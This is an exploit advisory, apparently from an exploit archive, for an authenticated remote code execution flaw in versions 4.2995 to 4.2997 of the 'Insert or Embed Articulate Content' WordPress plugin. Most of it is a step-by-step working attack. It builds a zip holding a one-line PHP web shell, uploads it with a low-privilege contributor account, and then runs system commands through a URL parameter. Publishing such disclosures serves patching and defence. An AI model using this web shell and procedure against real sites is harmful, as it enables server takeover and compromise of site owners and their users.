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WordPress Insert Or Embed Articulate Content 4.2997 Remote Code Execution

WordPress Insert Or Embed Articulate Content 4.2997 Remote Code Execution
Posted Jun 11, 2019
Authored by xulchibalraa

WordPress Insert or Embed Articulate Content plugin versions 4.2995 through 4.2997 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 83e3dcad0a698fd887c2c197d13b9621

WordPress Insert Or Embed Articulate Content 4.2997 Remote Code Execution

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# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -


## 1. Create a .zip archive with 2 files: index.html, index.php

echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php

## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)
## 4. Access the webshell from the URL displayed after upload similar to

http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami

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